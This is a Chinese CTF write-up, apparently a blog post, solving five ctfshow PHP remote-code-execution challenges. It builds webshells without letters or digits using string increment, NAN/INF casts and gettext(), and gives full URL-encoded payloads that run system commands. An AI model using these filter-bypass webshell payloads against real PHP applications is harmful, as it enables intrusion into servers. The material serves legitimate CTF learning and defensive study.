前言:过滤了$的影响是我们彻底不能构造变量了。

参考博客:BSides Noida CTF 2021 Web Calculate_calculate2 ctf_bfengj的博客-CSDN博客

利用PHP的NAN和INF来获取字符串来自增绕过长度限制php绕过时nan用字符表示huamanggg的博客-CSDN博客

无字母数字webshell总结 - 先知社区

不用字母和数字构造webshell_无字母取反webshell?_noViC4的博客-CSDN博客

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html?page=2#glob

【CTF】通过符号构造字母数字吃早餐的博客-CSDN博客

RCE挑战1

审查代码,发现post方式传入code,code可以直接被执行 ,(和.被过滤

可以利用反引号执行命令 echo输出,code=echo `tac /f1agaaa`;

RCE挑战2

POST方式传入ctf_show,并且过滤了很多东西

写个脚本看看过滤后还剩下什么

<?php
for ($i=32;$i<127;$i++){if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){echo chr($i)." ";}
}

发现还剩下这些字符可用 ! $ ' ( ) + , . / ; = [ ] _

~、^都被过滤了,可以想到自增构造绕过

官方exp构造过程

<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$____='_';//_
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//P
$____.=$__;//_P
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//O
$____.=$__;//_PO
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//S
$____.=$__;//_POS
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//T
$____.=$__;//_POST
$_=$____;//_POST$$_[__]($$_[_]);//可以得到$_POST[__]($_POST[_]);总结起来就是
$_=[].'';$_=$_[''=='$'];$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$____;$$_[__]($$_[_]);&__=system&_=cat /f1agaaa
$_=[]._;$__=$_['!'=='='];$__++;$__++;$__++;$___=++$__;++$__;$___=++$__.$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$___=$___.++$__;$_='_'.$___;($$_[_])($$_[__]);
//相当于 ($_GET[_])($_GET[__])  使用的时候url编码一下
POST: ctf_show=%24_%3D%5B%5D._%3B%24__%3D%24_%5B'!'%3D%3D'%3D'%5D%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___%3D%2B%2B%24__%3B%2B%2B%24__%3B%24___%3D%2B%2B%24__.%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24___%3D%24___.%2B%2B%24__%3B%24_%3D'_'.%24___%3B(%24%24_%5B_%5D)(%24%24_%5B__%5D)%3B
GET:
?_=system&__=ls /或者
POST:
ctf_show=$_=(_/_._);$_=$_[''!=''];$%ff=%2b%2b$_;$%ff=%2b%2b$_.$%ff;$_%2b%2b;$_%2b%2b;$%ff.=%2b%2b$_;$%ff.=%2b%2b$_;$_=_.$%ff;$$_[_]($$_[__]);&_=system&__=ls /
传入的是$_POST[_](&_POST[__])

RCE挑战3

先看看剩下什么 $ ( ) + , . / 0 1 ; = [ ] _

这题主要是有字数限制,所以要用更短的方式,但是可以用数字0或者1,那么就可以通过(0/0)来构造float型的NAN,(1/0)来构造float型的INF,然后转换成字符串型,得到"NAN"和"INF"中的字符了,可以试试后发现POST的自增,这里使用$POST[](&_POST[__])

官方exp构造过程

<?php
$a=(0/0);//NAN
$a.=_;//NAN_
$a=$a[0];//N
$a++;//O
$o=$a++;//$o=$a++是先把$a的值给$o,然后再对$a进行自增,所以这一句结束的时候 $a是P,$o是O
$p=$a++;//$a=>Q,$p=>P
$a++;$a++;//R
$s=$a++;//S
$t=$a;//T
$_=_;//_
$_.=$p.$o.$s.$t;//_POST
$$_[0]($$_[1]);//$_POST[0]($_POST[1]);
#注意用burp时要把a换成不可见字符(如%ff %fe等),url编码中+会被替换成空格,所以要换成%2bctf_show=$%ff=(0/0);$%ff.=_;$%ff=$%ff[0];$%ff%2b%2b;$%fd=$%ff%2b%2b;$%fe=$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$%fc=$%ff%2b%2b;$%fb=$%ff;$_=_;$_.=$%fe.$%fd.$%fc.$%fb;$$_[0]($$_[1]);&0=system&1=cat /f1agaaa

RCE挑战4

老规矩看看剩下什么 $ ( ) + , . / 0 ; = [ ] _

比上一题多省略了一个1,也是限制了字符数,我们还是可以使用(0/0)来构造NAN, 官方给出来更为优秀的写法可以是$a=(_/_._)[0];直接得到字母N,payload构造过程:

<?php
$a=(_/_._)[0];//直接拼接成字符串并切片
$o=++$a;//$o=++$a是先把$a进行自增,自增完成之后再将值返回,也就是这一句结束的时候 $a和$o都是O
$o=++$a.$o;//$o=>PO,$a=>P
$a++;//Q
$a++;//R
$o.=++$a;//$o=>POS,$a=>S
$o.=++$a;//$o=>POST,$a=>T
$_=_.$o;//_POST
$$_[0]($$_[_]);//$_POST[0]($_POST[_]);
#继续用不可见字符替换php变量名称
​ctf_show=$%ff=(_/_._)[0];$%fe=%2b%2b$%ff;$%fe=%2b%2b$%ff.$%fe;$%ff%2b%2b;$%ff%2b%2b;$%fe.=%2b%2b$%ff;$%fe.=%2b%2b$%ff;$_=_.$%fe;$$_[0]($$_[_]);&0=system&_=cat /f1agaaa

RCE挑战5

  剩下 $ ( ) + , . / ; = [ ] _

字符串限制73,不知道怎么办了,看看wp,发现大佬们说在phpinfo中多了个gettext()扩展插件,这个插件使得我们可以用_()直接转为字符串

这里有大佬的提示:因为不可见字符的原因,所以要用bp来做,hackbar可能会和我一样出现 url malformed CLOSE,用bp做的时候注意+会被替换成空格所以要编码外,还有用不可见字符替换过滤得字母(为了使得字符数更短才用的),其他直接post提交即可。

官方exp

<?php
$a=_(a/a)[a];//相当于gettext(0/0)[0],得到N
$_=++$a;//O
$_=_.++$a.$_;//_PO
$a++;$a++;//R
$_.=++$a.++$a;//_POST
$$_[a]($$_[_]);//$_POST[a]($_POST[_])

跑出过滤脚本,有很多不可见字符,编码回显一下:

<?php
for($a = 0; $a < 256; $a++){if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($a))){echo urlencode(chr($a))." ";}
}
?>/*回显了很多
%00 %01 %02 %03 %04 %05 %06 %07 %08 %09 %0A %0B %0C %0D %0E %0F %10 %11 %12 %13 %14 %15 %16 %17 %18 %19 %1A %1B %1C %1D %1E %1F + %21 %24 %27 %28 %29 %2B %2C . %2F %3B %3D %5B %5D _ %7F %80 %81 %82 %83 %84 %85 %86 %87 %88 %89 %8A %8B %8C %8D %8E %8F %90 %91 %92 %93 %94 %95 %96 %97 %98 %99 %9A %9B %9C %9D %9E %9F %A0 %A1 %A2 %A3 %A4 %A5 %A6 %A7 %A8 %A9 %AA %AB %AC %AD %AE %AF %B0 %B1 %B2 %B3 %B4 %B5 %B6 %B7 %B8 %B9 %BA %BB %BC %BD %BE %BF %C0 %C1 %C2 %C3 %C4 %C5 %C6 %C7 %C8 %C9 %CA %CB %CC %CD %CE %CF %D0 %D1 %D2 %D3 %D4 %D5 %D6 %D7 %D8 %D9 %DA %DB %DC %DD %DE %DF %E0 %E1 %E2 %E3 %E4 %E5 %E6 %E7 %E8 %E9 %EA %EB %EC %ED %EE %EF %F0 %F1 %F2 %F3 %F4 %F5 %F6 %F7 %F8 %F9 %FA %FB %FC %FD %FE %FF*/

然后常规的替换成不可见字符变量名称,得到payload:

ctf_show=$%ff=_(%ff/%ff)[%ff];$_=%2b%2b$%ff;$_=_.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.=%2b%2b$%ff.%2b%2b$%ff;$$_[_]($$_[%ff]);&_=system&%ff=cat /f1agaaa

哎。68位字符那个师傅的做法太妙了,无法理解

ctfshow RCE极限挑战相关推荐

  1. ctfshow RCE极限挑战 wp

    这五题都做出来,真的不容易呀,最终终于是在比赛结束以前全部做完了,拿到了十几块钱,是一个星期的早餐了,嘿嘿嘿嘿,哎,不过对于,自增的理解可以说是提升很多很多,这里主要讲的自增,主要详细讲解他是怎么用的 ...

  2. ctfshow每周大挑战之RCE极限挑战

    1.ctf.show每周大挑战之RCE极限挑战 php的eval()解释: eval() 函数把字符串按照 PHP 代码来计算. 该字符串必须是合法的 PHP 代码,且必须以分号结尾. return ...

  3. 开源软件原来都这样命名的!Python最独特,Debian最浪漫,PHP简单粗暴......

    点击上方"编程派",选择设为"设为星标" 优质文章,第一时间送达! 如我们平常所看到的品牌名称一样,例如"Kleenex"或"百事 ...

  4. 无字母数字rce(ctfshow web入门56)

    无字母数字rce(ctfshow web入门56) 我们根据这一题直接进入主题 //web56 <?php // 你们在炫技吗? if(isset($_GET['c'])){$c=$_GET[' ...

  5. 命令执行(ctfshow)

    文章目录 介绍 PHP命令执行的参数 ${php代码} assert preg_replace() create_function() 介绍 构造一些payload 实现后门的搭建 array_map ...

  6. ctfshow七夕杯2022

    文章目录 Web web签到 easy_calc easy_cmd Crypto 密码签到 Misc 杂项签到 Osint 社工签到 迷失的大象 大飞机 原文 Web web签到 固定长度RCE,限定 ...

  7. ctfshow七夕杯复现

    Docs web web签到 七字符rce CTF中字符长度限制下的命令执行 rce(7字符5字符4字符)汇总_OceanSec的博客-CSDN博客 一点一点拼shell easy_calc < ...

  8. CTFshow之36Dweb做题记录

    文章目录 WEB_给你shell WEB_RemoteImageDownloader WEB_你取吧 非预期解1: 非预期解2: 预期解: WEB_WUSTCTF_朴实无华_Revenge WEB_A ...

  9. CTFSHOW WEB入门

    ----------信息搜集---------- 源码泄露 查看源码即可 前台JS绕过 直接开发者工具查看源码 当然也可以抓包查看 也可以禁用js查看源码 协议头信息泄露 或者抓一下包也可 robot ...

最新文章

  1. 时间为什么用 12 进制?
  2. 小学生 python教程-Python最佳学习路线图
  3. python获取代码行号
  4. 阿里巴巴DevOps实践指南 | 数字化转型下,DevOps的根本目标是什么?
  5. C#操作Word Aspose.Words组件介绍及使用 基本介绍与DOM概述
  6. 5单个编译总会编译全部_JDBC【5】 JDBC预编译和拼接Sql对比
  7. ASP.NET 4.0 无法加载 System.ServiceModel.Activation.HttpModule
  8. kerberos安装配置与使用
  9. BZOJ1486: [HNOI2009]最小圈
  10. unity ugui序列帧动画
  11. 解码h264和h265需要的cpu性能
  12. win8计算机触摸板怎么设置,win8.1笔记本电脑怎么关闭键盘触摸板
  13. Vue中导出json【基于file-saver】
  14. Mysql explain 执行计划 解释
  15. 5月6阴阳师服务器维护,《阴阳师》手游5月6日维护更新公告
  16. BlueTooth: 浅析CC2540的OSAL原理
  17. 蓝魔w41原版 android 4.1固件,DX160固件Android8.1V1.04.150
  18. Python Eric7+PyQt6环境配置,GUI程序开发
  19. CES 2017媒体日:VR AR波澜不惊,无人驾驶和智能家居大放异彩
  20. 使用U盘系统盘安装操作系统步骤

热门文章

  1. 小微需求的实现·1·打印购物管理系统的员工工资条- 三步走写法
  2. 均值,中位数,正态分布和Kmeans
  3. 通用环形缓冲区 LwRB 使用指南
  4. 产品思维的《打胜仗》
  5. Pyhton携程上酒店每个房型价钱详细的爬虫
  6. IntelliJ IDEA for Mac (java开发集成环境) v2021.3
  7. Dell服务器raid5阵列的配置
  8. 猜数字游戏(1-100)
  9. html二级联动带变量,动态的二级联动步骤
  10. CF 159 div2 d